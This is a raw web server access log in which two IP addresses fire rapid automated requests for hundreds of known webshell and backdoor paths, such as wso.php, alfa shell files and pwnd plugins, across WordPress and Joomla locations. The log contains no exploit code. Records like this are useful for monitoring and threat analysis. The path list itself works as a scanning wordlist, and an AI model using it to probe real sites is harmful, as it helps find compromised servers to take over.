40.113.18.139 - - [27/Apr/2025:10:33:38 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:39 -0400] "GET /wp-content/plugins/masterx/wpx.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:39 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:40 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:40 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:41 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:42 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:42 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:43 -0400] "GET /headerg.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:43 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:44 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:44 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:45 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:45 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:46 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:47 -0400] "GET /wp-content/plugins/idjnpjx/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:47 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:48 -0400] "GET /wp-content/plugins/linkpreview/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:48 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:49 -0400] "GET /wp-includes/cqhnpmqs.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:49 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:50 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:50 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:51 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:52 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:52 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:53 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:53 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:54 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:54 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:55 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:55 -0400] "GET /wp-admin/axcjwclf.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:56 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:57 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:57 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:58 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:58 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:59 -0400] "GET /IDhrIlrLb.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:59 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:00 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:00 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:01 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:01 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:02 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:02 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:03 -0400] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:04 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:04 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:05 -0400] "GET /admin-heade.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:05 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:06 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:34:07 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:18 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:19 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:19 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:20 -0400] "GET /admin-header.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:20 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:21 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:22 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:22 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:23 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:23 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:24 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:24 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:25 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:25 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:26 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:26 -0400] "GET /includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:27 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:27 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:28 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:28 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:29 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:30 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:30 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:31 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:31 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:32 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:32 -0400] "GET /allez.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:33 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:33 -0400] "GET /wp-content/plugins/Core-Econ/1.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:34 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:34 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:35 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:35 -0400] "GET /configuracion.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:36 -0400] "GET /wp-content/plugins/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:37 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:37 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:38 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:38 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:39 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:39 -0400] "GET /.well-known/nzhlgkwk.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:40 -0400] "GET /daddy.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:40 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:41 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:41 -0400] "GET /contact_tpl.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:42 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:42 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:43 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:44 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:44 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:45 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:45 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:46 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:46 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:47 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:47 -0400] "GET /css/flower.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:48 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:48 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:49 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:49 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:50 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:50 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:51 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:52 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:52 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:53 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:53 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:54 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:54 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:55 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:55 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:56 -0400] "GET /cnzcsfwm.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:56 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:57 -0400] "GET /.well-known/acme-challenge/shop.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:57 -0400] "GET /wp-includes/ID3/berlin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:58 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:58 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:36:59 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:00 -0400] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:00 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:01 -0400] "GET /wp-content/uploads/2023/03/z.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:01 -0400] "GET /services.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:02 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:02 -0400] "GET /wp-content/plugins/vheezid/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:03 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:03 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:04 -0400] "GET /css/nqfvanbd.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:04 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:05 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:06 -0400] "GET /used.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:06 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:07 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:07 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:08 -0400] "GET /wp-admin/block-support.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:08 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:09 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:09 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:10 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:11 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:11 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:12 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:12 -0400] "GET /wp-content/plugins/elementor/elementor-merge.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:13 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:13 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:14 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:14 -0400] "GET /wp-includes/js/plupload/wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:15 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:15 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:16 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:17 -0400] "GET /wp-content/upgrade/edit-links.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:17 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:18 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:18 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:19 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:20 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:20 -0400] "GET /editor.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:21 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:21 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:22 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:22 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:23 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:23 -0400] "GET /wp-admin/css/colors/fridSiB.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:24 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:24 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:25 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:26 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:26 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:27 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:27 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:28 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:28 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:29 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:29 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:30 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:30 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:31 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:31 -0400] "GET /cadastro-2.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:32 -0400] "GET /cache-base.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:33 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:33 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:34 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:34 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:35 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:35 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:36 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:36 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:37 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:37 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:38 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:38 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:39 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:39 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:40 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:41 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:41 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:42 -0400] "GET /wp-admin/css/colors/blue/blkabtfa.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:42 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:43 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:43 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:44 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:44 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:45 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:45 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:46 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:46 -0400] "GET /wp-includes/Requests/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:47 -0400] "GET /superadmin.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:47 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:48 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:48 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:49 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:49 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:50 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:50 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:51 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:52 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:52 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:53 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:53 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:54 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - [27/Apr/2025:10:37:54 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 40.69.204.232 - - 